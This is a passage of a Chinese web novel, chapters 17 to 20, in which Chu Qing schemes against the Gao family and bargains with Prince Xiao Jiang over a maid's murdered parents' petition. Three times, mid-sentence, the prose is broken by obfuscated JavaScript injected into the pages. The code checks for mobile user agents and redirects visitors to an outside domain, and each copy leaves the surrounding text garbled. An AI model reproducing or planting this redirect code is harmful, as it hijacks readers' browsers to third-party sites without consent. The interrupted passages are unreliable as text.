林七淡淡提醒：“大人，他是高家少爷。” “我管他是谁。”楚卿目光如刀，全然不似往日随和爱开玩笑的样子，“他若胆敢动你，你只管动手。伤了残了，我担着。” 17. 第十七章 赶走高闻后，楚卿和林七一同进了屋子。因着林七一早烧好炭火等楚卿回府，房门推开的一瞬，飘着果木香的暖气扑面而来。 炭火和香料都是苏兰桡送来的。当然，苏兰桡不止送了这些。楚卿屋子里的书案、茶桌，床塌、床上的被褥、枕席，甚至是洗漱用的铜盆，苏兰桡都全部为她置办了新的。 苏大坊主腰缠万贯，住惯了金屋玉阁。前些日子她暗中到访将军府，朴素琼英院在她眼里立马成了四壁漏风的茅草房。如果不是楚卿拦着说不能太招摇，只怕苏大坊主能直接带人来把房子扒了重建一套。 楚卿进门脱下外氅，在焕然一新的闺房里舒舒服服伸了个懒腰。林七见她怀里抱着一本厚厚的牛皮书，不由问：“大人，这是？” 楚卿走到暖炉边的软榻上，放下了抱在怀里的《四荒游记》，解释道：“周老的新书，回来路上去了一趟鸿章书院。” 林七上前为她奉茶。楚卿接过茶盏，轻嘬了一口，问林七：“高闻跑到我们这来做什么？” 林七答道：“高弘储让他来给小姐赔不是，为了秋云那事。” “黄鼠狼给鸡拜年。”楚卿轻哧一声，“高弘储再草包，至少不沾嫖赌。他这宝贝儿子倒好，脑袋空空只会动下半身。若是色胆也评个三公九卿，他高闻都能光宗耀祖了。” 林七知道楚卿还在替她生气，便上前岔开话题：“大人，您怎么去鸿章书院了？” 楚卿不由扶额：“别提了，我还撞见萧绛了。” 林七：“他为难大人了？” 楚卿忙摆手：“没没没，他压根没瞧见我。是我自己一时大意，借书的时候用了‘周青’的名牌。那名牌是五年前周老所赠，我原觉得时隔多年，鸿章书院中应没有几人记得此事。但方才见萧绛进了鸿章书院，我总有点不详的预感。万一周老得知有个叫‘周青’的借走了他的新著，再告诉给萧绛……” 楚卿的茶盏停在唇边，半晌没言语，末了，忽然没头没尾地问：“小七，秉烛书斋的学生名册还能找到吗？” 林七回道：“就在书斋的暗阁里，大人若要，属下即刻去取。” 楚卿放下手中的茶盏，眸中笑意不明：“不急，祁王府的人白天盯得不紧，等晚上再去。” …… 入夜，霁月高悬。 萧绛坐在北书房的金鹤灯下，修长的指尖在书案上的名册上点了点：“楚二的人夜访秉烛书斋，就为了这份名册？” 叶安斜倚在屏风上，散漫地点了点头：“错不了。属下等那人准备离开才动手抓人，那人就拿了这一份名册。” 萧绛垂眸翻开名册，问：“那人呢？” 叶安心道不妙，忙朝兄长叶危投去求救的目光。可惜叶危挺身伫立在一旁，全然没有理他的意思。他只得讪讪一笑，辩解道：“属下本来已经抓住那人了。哪成想面罩一扯下来，居然是个姑娘家。我一个大男人，欺负人家一个小姑娘，说不过去。” 萧绛这才抬眸：“办事不力，在本王这说得过去？” 叶安被萧绛一双冷眸看得一颤，忙道：“王爷，您一向宽宏大量，哪会跟属下计较这些。”说着，拐了拐兄长叶危，“你说是吧，哥。” 叶危淡淡瞟他一眼，躬身向萧绛，实话实说道：“夜访秉烛书斋的人，是宫宴那日险些打伤赵西平的侍女。叶安以轻功见长，确实不是她的对手。” “哥，王爷面前，留点面子。” 叶安小声嘀咕。 叶危不理他，继续道：“属下已看过这份名册，第三十五页有楚二姑娘的名字。楚二姑娘派人深夜盗取名册，很可能是因为担心有人借此名册，查到她和礼部楚大人的关系。王爷，此事是否需要进一步调查？” 萧绛早已将名册翻至三十五页。黑墨书写的“楚卿”二字不过指腹大小，却将萧绛的目的尽数占满。他默了片刻，忽然勾起唇角：“狡猾。” 语意似怀疑，又似赞许。 而后淡淡吩咐：“名册无需再查，先从他处入手。去查楚二的过往经历，凡是和楚钦存在交集的地方，全部仔细彻查。” 叶危领命：“是。” 与此同时，镇南将军府内。 林七翻墙而归，进入楚卿的房间前，摘下了之前入宫戴过的人皮·面具。她叩门走进去，上前回禀：“大人，如您所料，叶安已将秉烛书斋的学生名册带回祁王府。” 楚卿正坐在书案前翻阅《四荒游记》，闻言抬头揉了揉肩膀。跃动的烛光映入眼底，映出眸光清明如水，她灿然一笑：“好，明日便可以去找苏姐姐了。” …… 苏兰桡已经连续三天一睁眼就见楚卿了。 她先是揉了揉眼，楚卿的脸依旧挥之不去，她只好又捏了捏床边人清瘦的脸颊。明明看着没什么肉，掐着倒是挺软。手感不错，苏兰桡没收回手，打了个哈欠：“阿楚，虽然你这张脸才用了不到一个月，但我已经有点看腻了，怎么办啊？” 楚卿毫无不速之客的自觉，笑厚着脸皮道：“那下次我戴着面具来，保准次次不重样。” “臭贫！”苏兰桡懒洋洋地起身，“说吧，又有什么事找我？” 楚卿一路跟着苏兰桡走到梳妆台前，解释道：“自从上次秉烛书斋一事之后，萧绛一直怀疑我的身份。虽说他不太可能往我就是楚钦上猜，但等以后我和过去的交集越来越多，难免会出现更多的破绽。楚二和楚钦的关联，总不给个解释，只怕说不过去。” 苏兰桡点头：“其实我也担心过这点。你如今还是名义上的祁王妃，日后和萧绛的接触只会多不会少，总这样下去，确实不是办法。尤其是小七，她也不能时时刻刻戴着面具跟在你身边。所以，你打算怎么办？” 楚卿弯眉一笑，显然早已有了打算，“楚二十一岁那年，曾随蒋氏前往济州求医。那年，我恰好时任济州通判。那两年济州匪患不断，世道不太平。所以我想托你帮我去济州散布些谣言，就说镇南将军的大夫人曾在济州土地庙，给楚钦求过一纸平安符。” 楚卿将一早准备的平安符递给苏兰桡：“这是当年我在济州搭救的一名妇人所赠，你派人将这枚平安符送到我在济州的旧居吧！” 苏兰桡接过平安符，会意：“你想让萧绛误以为你从前搭救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790866|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过楚二母女？” 楚卿点了点头：“暂时只能这么办了。但散布谣言时不必言明，萧绛多疑，线索给得太多，容易被他抓住破绽。” 苏兰桡应下，立刻吩咐人去办。待一切安排妥当，楚卿同苏兰桡一同用早饭。席间，有海云端的暗探前来回禀。苏兰桡展开密件，看了几眼，便递给楚卿：“阿楚，安阳来报，秋云的爹娘已经在进京的路上了。” 楚卿笑应：“好。” 只待秋云爹娘进京，京师衙门的登闻鼓一响，高家这笔陈年旧账，就该清算了！ 接下来的几日，楚卿一面忙着为秋云爹娘告御状铺路，一面规整楚家家业为日后分家做准备。夜里，她还要翻阅周老的《四荒游记》，在成堆陌生的异域名称中寻找关于那枚玉佩的线索。 许是事情太多，时间仿佛过得飞快。楚卿常常觉得自己刚点燃夜读的火烛，天便不解风情地破了晓。 这些日子将军府平静得反常，不仅高闻没再来闹事，高弘储也时常不着家。姑母楚暮领着小女儿高淳远去南阳省亲，这些日子也不在府里。 楚卿近来一直派人盯着萧绛调查自己的进度，没太注意高家人的动向。她倒是注意到高弘储最近频频往返钱庄，似乎在搞什么小动作。但秋云的爹娘今日便要进京，高弘储再折腾也翻不出什么花来。 早间用过早饭，蒋氏来传楚卿去霜颐院，说是想给楚卿量量尺寸，做一件春衣。楚卿看了看时辰，婉言拒绝了。她和苏兰桡约在添香茶楼见秋云的爹娘，眼下也差不多该出府了。 马车从镇南将军府一路驶到添香茶楼，楚卿和林七相继下车。店小二将人迎进门，按旧例将人带去了二层雅间。那间屋子隔音好，楚卿每次都会选在那。店小二将人领进门，上好茶点，识相地退了出去。 苏兰桡还没将人带来，楚卿闲着无事，便和林七闲谈离开将军府后的规划。女子书院已修葺过半，不多时便能重开。楚卿笑问林七：“我打算重开女子书院后，新设一门武学课。眼下还缺个武学师父，小七，你感兴趣吗？” 林七愣了愣：“大人，属下可以吗？” 楚卿笑：“若是连你都不可以，京中还有几人能胜任了？” 林七垂眸不语。楚卿看穿她的心思，笑着咬下一口桂花糕，笑道：“打架又不用动嘴。不善言辞，不耽误你的一身本事。”说着，她也给林七递上一块桂花糕。 不多时，茶楼传来一阵车马声。楚卿扶窗看去，只见苏兰桡走下马车，脚步匆匆地走进了茶楼。 秋云的爹娘却不在。 事出反常，楚卿忙开门相迎。苏兰桡一进来就把门狠狠关上，哐一声，宣示着苏大坊主的怒火。 楚卿问：“怎么了？” 苏兰桡喘了一口长气：“出事了。” 楚卿：“秋云的爹娘呢？” 苏兰桡走到桌边捧起茶盏一饮而尽，倒了一口气，愤愤道：“大冬天的，白跑一趟，人在城门口被抓走了。” 楚卿：“什么人抓的？” 苏兰桡一拍桌子：“还能是谁？ “你那阴魂不散的老对头呗！” 18. 第十八章 祁王府，北书房。 雕纹鎏金的高脚铜架上挂着两幅画，一左一右，一彩一灰。左边彩色那副，画中人长身玉立，一袭藏蓝官服如有瀚海之姿；而另一幅中，画中人素衣简冠，眉目清秀，相比于另一幅倒多出几分女儿家的温柔。 明明是完全不同的两张面孔，萧绛站在两幅画前，影影绰绰间，竟从两人眼底皆瞧出了少年人的风流恣意。他不禁揉了揉额角，轻叹：看来假病的药喝久了，人是会真染上病的。 萧绛将彩色那幅先从铜架上取下，小心翼翼地卷起收进暗格的画匣中。灰色那副则被草草折起，撂在了书案上。 恰在此时，叶安前来叩门。 “王爷，济州暗探来报。” 叶安进门，将一封密件呈给萧绛。萧绛拆开，里面是一封密信和一道已然陈旧泛黄的平安符。 萧绛草草看了几眼，将信封和平安符收进抽屉。再抬眸，只见叶安迟迟不退，一手挠着脑袋，面色为难地杵在原地，遂问：“还有什么事？” 叶安勉强咧出一抹笑，道：“王爷，这事也是巧了。今早城防营的人在城门口核查入城车马的情况，抓出一辆从南阳远道而来的马车。车上一对老夫妇支支吾吾说不清话，沈将军就将人当成金敕奸细给扣下了。属下当时恰好路过，听那俩人说他们是来投奔镇南将军府的。属下担心事有蹊跷，就……” “就擅自将人要来了？”萧绛问。 叶安讪讪一笑，低低应了一声。 城防营隶属禁卫军，禁卫军统领又一向和三皇子走得近。叶安听见人和镇南将军府有关系，担心事情最后拐到祁王府来，便擅作主张把人要来了。 可他擅自扣下镇南将军府的人，不免担心万一楚二姑娘因此同王爷发脾气，他再好心办了坏事，影响到未来王妃和王爷的感情，王爷岂不是要怪罪他。 念及此处，叶安试探着问：“王爷，人要送回镇南将军府吗？” 萧绛沉默一瞬，目光在方才撂在桌角的画像上一扫而过，吩咐道：“不急，先审审，问问他们进京是要做什么。” 叶安立刻回道：“那对夫妇就是乡下种田的老实人，属下回来的路上一吓唬，他们已经全招了。他们说是楚二姑娘请他们来的，好像是来告状。” “告状？”萧绛抬眸，一双剑眉微蹙，“告什么状？” 叶安思量道：“年前镇南将军府死了个小丫鬟，是他们之前卖出去的女儿。这次他们进京，是受楚二姑娘之命，来告御状。” 叶安一心想着赶紧把人送回将军府，也没注意萧绛的脸色，自顾自解释完，又请示：“王爷，既然不是什么大事，人不如先送回去吧！” 不然楚二姑娘万一不高兴，王爷又要拿他是问了。 哪成想萧绛面色骤冷，起身道：“人扣下，备车，去镇南将军府。”说完，径自出门。 叶安摸不着头脑，只以为萧绛是担心楚卿生气，忙灰溜溜跟上去。俩人方走到后院门口，刚好撞见了从前院赶来叶危。 萧绛停下脚步：“又有何事？” 叶危的目光在叶安的身上一扫而过，察觉气氛不对，先回禀：“王爷，楚二姑娘来了。” 萧绛顿了顿，侧眸睨向叶安：“不必备车了，你去老刘那领罚。” 叶安：“啊？王爷，属下做错什么了？” 要不是他恰好撞见城防营拿人，楚二姑娘现在只怕要去城防营要人了。他这不仅没错，反而有功啊！ 然萧绛根本没理他，已然阔步出了小院。 叶安不理解，就跟兄长诉苦，解释完前因后果，还埋怨：“又不是什么大事，楚二姑娘来要人，王爷还了就是。” 叶危听完直叹气，负手摇头：“告御状都不是大事，你是真该罚！” …… 楚卿已经在前堂里等了一刻钟。 府里的小厮见自家王爷迟迟不见人，只好上前为其找补，躬身道：“王爷近来身体不好，午间多眠，眼下许是还睡着，劳姑娘再等片刻。” 楚卿温和一笑：“无妨，我也没旁的事，不差这一时半会。”又似是随口问，“王爷的咳疾好些了吗？” 小厮道：“劳姑娘挂心，已经好些了。只是王爷的咳疾并非寻常风寒，要根治倒还需要些时日。” 楚卿不由皱眉：“不是风寒吗？” 小厮叹了一声：“奴才也不知晓具体情况，姑娘若是担心王爷的身体，不妨待会问问王爷。” 楚卿便应了一声，默默喝茶。 又等了半刻钟，人依旧没来。中途一名小厮来同前堂里的小厮耳语几句，说完只见那小厮面色一变，偷偷瞟了楚卿一眼，又叹气。 楚卿坐在席间观察着二人的神色，从二人的唇语中隐约看出，是在说萧绛此时正在后院审人，让前院再拖延一会。 至于审什么人，不言自明。 楚卿依旧从容坐着，小厮前来向她赔罪：“姑娘，王爷眼下才起，正在更衣，您再稍等片刻，奴才去给您备些点心。” 这理由编得离谱。但若非楚卿方才瞧出二人的耳语，还真要信了。毕竟萧绛这人臭讲究，早中晚各换一次衣裳的行为，也不是不可能做得出来。 小厮走后，楚卿就坐在前堂里四处打量。这还是她第一次来祁王府。她注意到，堂内的所有座位两两对应，整齐到分毫不差。各个角落里看不见丝毫灰尘，就连门槛下的缝隙都干净得反光。 楚卿看得出，这八成全得益于萧绛的强迫症和洁癖。她忍不住嘴欠了一句：“矫情。” 话音未落，身后突然也传来两声尖锐的话音：“矫情！矫情！” 楚卿忙起身回望，只见一只红羽黄额的鹦鹉伏在窗口，张着翅膀好似深表赞同一般使劲扑腾，又叫喊了两声：“矫情！矫情！” 楚卿一愣：好家伙，不苟言笑的祁王殿下还有闲情养鹦鹉呢！ 鹦鹉学舌，这可不是好事。她忙过去捂鹦鹉的嘴：“小家伙，你别乱学，小心你家主子听见把你炖汤喝！” 可惜鹦鹉不但不领情，反倒啄了她一下。楚卿忙缩回手，小鹦鹉则边喊着新学的“矫情，矫情”，边扑扇着膀子飞了。 这小东西倒是有趣，楚卿失笑，一转身，却撞上萧绛那双如沉寒潭的眼眸。 她动作一顿，没慌，反而厚着脸皮打趣：“王爷，您还养鸟呢？” 萧绛：“……你来本王这，就是为了逗鸟吗？” 楚卿淡然一笑：“来给您送药。”说着拿出方从药房抓的两包药，是治疗咳疾的。 萧绛目光明显缓和，带了些许意外，转瞬恢复平静，道了声谢。 府里小厮将药拿下去，萧绛将人都打发走，落座捧起茶盏，轻吹了吹，问：“你来祁王府，找我有事？” 这话问的，楚卿忍不住抬杠：“没事，我闲得慌。” 萧绛：“……” “既然没事，那你请便。”萧绛说完，起身理了理衣摆，俨然一副准备送客的样子。 人在屋檐下，不得不低头，楚卿只好起身开口：“王爷知道我来做什么。” 萧绛：“不知。”又抖了抖袖子。 楚卿算是看明白了，这是记仇呢！ “我错了好吧！我不该嘴欠说您‘矫情’，您那哪叫矫情啊，您那叫讲究，一等一的讲究。”楚卿说着凑上前，“王爷，城门被抓那俩人是我府里丫鬟的爹娘，一清二白的，您把他们放了吧！”又上前恭恭敬敬行礼，抬眸一笑，“若是他们二位有冒犯您的地方，臣妾替他们赔罪。” 明知楚卿是有意逗他，可萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧绛皱了皱眉，提醒道：“高闻受审，只会有两种结果。其一，此案以受害者以下犯上作结，高闻无罪释放，秋家二老遣京城；其二，如你所愿，高闻判刑入狱，但事情闹大，高家人必身败名裂。”他目光沉沉地看着楚卿，“既然你已经把人接到京城，想来自然不会让第一种情况出现。但你真的想清楚了吗？高家人身败名裂，你与高家人同住一府十余载，今后又该如何自处？” 楚卿了然，视线落在窗外：“我不在乎。” 萧绛深出一口气，又道：“你可以不在乎，但祁王妃不能。” 楚卿收回视线，看向萧绛：“王爷若是在乎，大可换个祁王妃。” 萧绛收在袖口下的手掌已然攥紧。他默然片刻，端起了茶盏，是那杯送客茶。 “人，本王不会放。要么，你放弃告御状的念头，作为补偿，本王可以替你处置高闻；要么，秋家二老滞留京城，区区两口人，祁王府还养得起。” 楚卿本来已经起身走了，听见这话又忍不住咬了咬牙，回身道：“您祁王府家大业大，秋家二老您爱养多久养多久。没了他们，这御状，我一样告。” 北风顺着敞开的堂门呼啸而入，卷起的衣衫勾勒出楚卿清瘦的身躯。萧绛打量着门口青衣素簪的姑娘，忽然想到了一个词——疾风劲草。 有那么一瞬，萧绛竟想成全她，哪怕她的想法离经叛道、不合时宜。可理智告诉他，此时纵容楚卿去告御状，只会让她过早展露风头。树大招风，这个道理，他比谁都懂。 他只得忍下思绪，再一次叫住了匆匆出门的人：“楚卿，你为什么非告御状不可？” 这是他第一次叫她的全名。 19. 第十九章 为什么非告御状不可？ 楚卿在回廊上驻足，回身看向堂内的萧绛：“王爷，以命换命换不回死者复生。我要的不是高闻受罚，而是公道。” 除掉一个高闻，还会有下一个李闻、刘闻、赵闻。楚卿帮不了所有人，祁王府也一样不能。 唯有将此事闹大，才能让那些欺压者记起京中尚有礼法，才能让他们明白不是有权有势便可肆意妄为。 而楚卿也想让让如今京中苦命的姑娘们看到，这世间尚有天理昭昭。她们可以站出来，为自己讨一个公道。 萧绛垂下眼帘，沉默一瞬，走上前：“告御状一事，本王不会应允。但……”他将一枚铜质令牌递给楚卿，“这是本王的手令。若你还有其他打算，祁王府的部分暗探，可以任你调遣。” …… 回程路上，楚卿坐在马车里，手里反复摩挲着那枚铜质令牌。天寒风冷，令牌也染上凉意。令牌凸起的四角硌着手掌，攥在掌心里，只觉得沉甸甸的。 临出祁王府时，叶危曾追上来替萧绛传话，说楚卿的想法固然可行，但眼下还不是时候。若要一人敢为自己争一公道，不仅要世态给她开口说话的机会，更要那人自己有站出来的底气。 大靖自开国以来男尊女卑的思想根深蒂固，在这样的世道里，女子唯一的出路就是相夫教子。当女子只剩嫁人这一个选择，“清白”二字就成了悬在头顶的刀。有这把刀在，纵使受害者敢冒着世俗偏见站出来，也会被这把刀割得遍体鳞伤。 楚卿自然明白萧绛的意思。可正是因为明白，她才更加困惑。她隐约觉得萧绛似乎知道她要做什么，甚至可能知道她在筹备女子书院，知道她想去争一个平等公正的世道。 他知晓她的想法，不仅不觉得她痴心妄想，反倒给了她手令。如果不是令牌的重量太过真实，楚卿甚至会觉得自己是在做梦。 但萧绛不肯放人，告御状一事暂时走不通，楚卿只能再想其他办法。 好在她早在造访祁王府前便做好了碰壁的打算，眼下甫一回将军府，她立马开始筹备第二套方案。 楚卿喊来林七，写下一封揭发高弘储暗中检举吏部贪腐的密信。由她口述，林七代笔。在确认不会被人认出字迹后，趁着眼下朝中官员尚在宫中，将这封密信送到了吏部尚书赵炳养在玉曲巷的外室家中。 赵炳的外室一直算计着如何讨赵炳欢心，得知此事后立刻将信件焚毁，如楚卿所料那般，假装是自己意外发现高弘储的举动异常，并借着闲谈的机会，把高弘储暗访监察司一事委婉地告知给赵炳。 赵炳听闻此事，再想起高弘储近来一直告假在家，顿时明白了各中缘由。 监察司原本月中就该下到各部查账，却临时冒出个“监管瀚水盟约签约大典”的由头，将查账之事一连拖了半月之久。赵炳原本就已察觉事有蹊跷，正怀疑是不是吏部内部出了叛徒。眼下楚卿这么一提醒，他自然知晓高弘储就是那个内鬼。 赵炳能坐上吏部尚书的位置，自然也是一等一的老狐狸。眼下他是无力回天，却也不可能随随便便放任高弘储逍遥法外。只要他得知高闻奸/杀民女一事，必然将此事添油加醋往高弘储身上推，届时再一封折子以作风问题参高弘储一笔，宫中自有人下来严查高弘储。 高弘储近来三天两头往钱庄跑，一查就能发现他手脚不干净。虽然如今钱庄里的银子都是他暗自经商所得，但经商的成本从何而来，他总要给个解释。 等到此事被查出来，高弘储和赵炳俩人狗咬狗，无论是高闻一事，还是吏部贪腐一事，都能被翻到明面上。 而楚卿自己，只等着坐收渔利便是。 赵炳的动作也是真快，才过了三天，一本奏折就参了上去。 这日是正月廿九，皇城又下了一场半大不小的雪。刑部卫兵踏着细小的雪粒子闯进将军府西院，高弘储那一口新开坛的桑落酒还没来得及咽下去，就被连人带酒一起拎了出来。 楚卿那会刚好去西院清算一月的账目，顺便把之前西院克扣的银两一并要了回来。她手里掂着银子路过，笑呵呵地看着高弘储被抓走，遭了西院人好一顿白眼。 可惜她是个没皮没脸的，人家越生气，越瞪她，她笑得越欢。刑部卫兵的盔甲磕着刀鞘，走一步发出一声脆响，再配上高弘储的吵闹和楚卿的嬉笑，这原本冷冷清清的将军府就跟过年了一样。 回到琼英院后，林七问她：“大人，事成了吗？” 楚卿坐下喜滋滋品了一口松醪酒：“快了，不过不是现在。刑部这次拿人治不住高弘储，估计过个一天两天还得送回来。所以再给赵大人提个醒，高弘储的银子眼下都在往老家送，要将他捶死，得有实证。”又把方从西院要回的银子递给林七，“把这蒋氏送去。” 林七遂应下，先将银子送去蒋氏的霜颐院，又暗中跑了一趟的赵炳的私宅。 林七一去一回用了一个多时辰，期间高闻来过一趟琼英院。他鬼鬼祟祟在院子里寻摸一圈，也不知道在找什么，被楚卿发现后便扬着下巴朝楚卿撂狠话：“楚二，上次你拿水泼本公子的事，本公子还没跟你算帐呢！” 楚二倚在房门口，睨着院子里高闻，轻笑：“高大公子还真是临危不惧、处变不惊啊，你老子都叫刑部带走了，你还有心思在这跟我翻旧账呢？” 高闻啐了一口：“小丫头片子，你懂个屁！我爹清清白白一代忠臣，当今圣上英明公正，怎么可能听信谗言降罪于家父？倒是你，别以为你嫁个祁王就了不起了。祁王那病秧子一脸短命相，小心嫁过去就当寡妇！” 听前面，楚卿还有心思笑高闻是个夜郎自大的酒囊饭袋，心想着，但凡他把流连花柳的心思给他那草包老爹分去一分半点，都不会死到临头了还自诩“清白”，真是可怜了“忠臣”二字。 可听到末了一句，“短命”二字尤为刺耳，楚卿莫名不爽，舔了舔后槽牙：“把你的嘴巴放干净点。” 一记眼刀飞过来，高闻不受控地打了个寒颤，真就立马闭了嘴。 楚卿又冷声开口：“滚。” 高闻周身一震，僵住片刻没敢动，又转念一想，他怕一个小姑娘做什么？再凶再厉害，那也是个女人，又不能动手打他。 他也不知从哪来的底气，竟正了正身子，朝楚卿走了过去，边走边道：“表妹，你别生气啊！表哥知道你不想做寡妇，没关系，那祁王体弱多病，想来身体也不太行。若是他死后你还能保住完璧之身，表哥倒是可以可怜可怜你，再把你娶回来。” 楚卿忍不了了，真的忍不了了，如果不是嫌脏，她真想当场给高闻一脚。她攥了攥拳，朝着琼英院后厢房的房顶大喊：“你们祁王府的人干什么吃的？此人对祁王屡次出言不逊，给我拿下！” 话音未落，琼英院四方哗啦一声，乌泱泱几十号人一口气全从屋顶涌了下来。 高闻霎时间被重重黑影包围，没等他回过神，领头的暗卫已经将他一脚踹翻。他啪嚓一下摔在雪水化开的花园里，滚了一身的烂泥。 楚卿摇着萧绛的令牌走上前，踩住高闻的脸，又撵了撵：“你才短命，你上下三百辈子都短命！你轮回死了八百次祁王都不会有事。你最好现在就回去给祁王烧香拜佛，到时候我还能让你死得舒坦点。” 见到这一幕，躲在房顶的叶安没忍住笑了一声，拐了拐叶危：“哥，楚二姑娘骂人怎么跟个小孩似的？气急败坏的，平日里见她也不这样啊！” “挺好的。”叶危勾了勾唇角，“走吧！王爷让我们送人过来，人也送到了，该回去了。” 楚卿没注意到房顶的动静，又在高闻的肚子上踢了一脚，吩咐祁王府的人把高闻丢回了西院。 然高闻被丢出去后，黑压压一片暗卫仍杵在院子里。眼下已至傍晚，夕阳的余晖顺着院墙打进来，院子里整整齐齐一排暗卫如同房屋投下的阴影。 楚卿把令牌收起，挠了挠耳朵，有些困惑：“你们在我这多久了？” 如果一直都在，林七不可能没察觉。 一众暗卫齐刷刷低着头，商量好了似的没一个人理她。 楚卿看向领头那人：“祁王派你们来监视我的？” 派这么多人监视她？ 得多恨她啊！ 而领头人依旧不语。 楚卿无语了：“你们不会是哑巴吧？” 据传是有人会为了保证秘密不外泄，特意把暗卫都弄成哑巴。想到此处，楚卿皱了皱眉，萧绛应该没这么变态吧？ 她上下打量着领头暗卫：“真不会说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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但这个想法不会持续太久。她往往只是想一下，立刻觉得太过自私，便打消这个念头，又专注地在书中找线索。如此一来，这书读起来便不如从前有滋味了。 月上枝头，夜色深凉。 楚卿合起《四荒游记》，走到窗边揉了揉肩，又推开窗朝夜空远望。夜空是混沌的，星星藏在云层里，像蒙尘的明珠。 北风顺着窗子吹面而来，冻得楚卿打了个哆嗦。正欲关窗，便看见院子里走过一人。小小的身量在院门口踱步几下，忽然蹲在地上，似是懊恼地锤了锤脑袋。 楚卿朝着人影喊：“玉竹，你做什么呢？” 除了玉竹那小丫头，没人会大半夜蹲在地上，和自己的天灵盖过不去。 玉竹闻声跑过来，急匆匆道：“小姐，你看见小七姐姐了吗？” 楚卿一愣：“你们不是住在一起吗？她没在房里？” 玉竹愁道：“奴婢方才去了趟茅房，出去的时候小七姐姐还在，回来的时候人就不见了。” 楚卿皱了皱眉：“你走了多久？” 玉竹挠头，有些害臊：“奴婢闹肚子，估摸着得走了一刻钟吧！” 楚卿沉默一瞬，立刻出门带着玉竹往外赶。玉竹和林七一起住在琼英院的偏房，楚卿方一推门，怪异的香气立刻扑面而来。 味道不重，但楚卿的鼻子灵，第一时间察觉不对，忙抓着玉竹退出门外。 “是迷香。”楚卿冷声开口，又朝屋子里打量一圈，视线最后落在屋内的炭火上，“炭火是什么时候点上的？” 玉竹思量道：“一早就点上了，不过奴婢方才出去的时候觉得屋子里冷，又加了些炭。” 以林七的耳力，屋外有人吹迷香她不可能发现不了。唯一可能的就是放迷香的人，不是晚上才来的。 楚卿又问：“今晚的炭是谁准备的？” 玉竹道：“平日里都是奴婢去准备，但今天奴婢闹肚子，去得晚了。今天的炭是西院的人自己送来的。” 楚卿闻言面色骤冷，突然掏出一方帕子闯进了屋子里，等再出来时，手里已经攥着林七的长刀。 玉竹纵是再不会看脸色也瞧出楚卿一双寒眸冷得骇人，她小心翼翼地问：“小姐，你要去哪啊？” 夜色之下寒光一闪，刀鞘咔哒一声落地。楚卿紧紧攥着长刀，眸中已然带来杀意。 她没答玉竹的话，提刀去了西院。 20. 第二十章 楚卿提刀赶到时，高闻已被祁王府的暗卫拿下。林七衣衫规整地躺在床上，只是因着药劲还没过，尚处在昏迷之中。 领头暗卫上前向楚卿回禀情况，又寻问楚卿如何处置高闻。楚卿提刀站在寒风里，眼底眸光晦暗不明，静默半晌，没答他的话。 高闻被两名暗卫按在地上，想要开口争辩，一抬眼，正撞上楚卿森凉的目光。那一双淡漠的眼眸冷冷睨着他，从轻蔑中升出几分杀气，寒刀似的，割得他只想往地缝里躲。 领头暗卫看了看楚卿，又看了看高闻，心道这事肯定不会轻易罢休，他得赶紧回去请示王爷，遂看向楚卿：“楚二姑娘，里面的姑娘尚在昏迷，不妨您先带她回去修养。这里，有卑职在。” 楚卿注视着高闻，攥刀的手紧了紧，思量片刻，平定下心绪：“有劳了。”遂放下刀，进屋去背林七回房。 两名暗卫跟进来，想帮楚卿搭把手，楚卿婉言拒绝了。林七的身量虽清瘦，但个子高，楚卿背着她稍微有些吃力。恰好玉竹也追了上来，便跟着扶了一把。 走到门口时，楚卿顿下脚步，回眸吩咐暗卫：“把院子围起来，没我的吩咐，任何人不得入内。” 暗卫领命，将高闻五花大绑丢进屋子，又按吩咐把整座院子围了个水泄不通。 楚二的姑母楚暮前些日子带着小女儿远走省亲，眼下尚未还家。高弘储本来正在酒楼和他的狐朋狗友们酗酒，方从家丁那得知将军府出了事，也连忙乘车赶了回来。 因着喝了不少酒，高弘储半醉半醒没把事情听明白，临进门还在跟家丁骂楚卿：“小丫头片子反了天了，为着一个下贱的丫鬟敢软禁我儿子。我看她是叭拉狗咬月亮，不知天有多高了。” 一旁跟着的家丁闻言吓出一脑门的冷汗：“老爷，祁王府来了不少人，这回真出大事了。” “什么？”高弘储登时顿住脚步，酒醒了大半，“祁王府的人来了？” 家丁擦了把冷汗：“可不是嘛，几十号人，黑压压地往少爷的院子外面一围，连只苍蝇都飞不进去。” “蠢东西，你怎么不早说？”高弘储气得直接抬腿就是一脚，又忙转身火急火燎往反方向赶。 家丁平白挨了一脚，心里好生憋屈，忍不住暗骂高弘储欺软怕硬，管不住楚二小姐就拿他一个下人撒气。可埋怨归埋怨，他还得忍下憋屈跟上去，小心翼翼地询问：“老爷，您不去少爷那了？” 高弘储气得顿住脚步，又要抬脚踹他，想了想，觉得有失身分，放下脚：“蠢货！苍蝇都飞不进去，我这么大的人能进去？带路，去找楚二。” …… “小姐，姑老爷求见。” 楚卿坐在林七的床边，不耐烦地摆了摆手：“不见。” 林七尚在昏迷，她没心思同高家人争论。等林七醒来，用不着高弘储来找她，她自会去找高弘储算帐。到时候秋云的账、楚二的账，连着今晚林七的账，高家人一样也跑不了。 玉竹应声离开，没半刻钟，又来叩门：“小姐，夫人来了。” 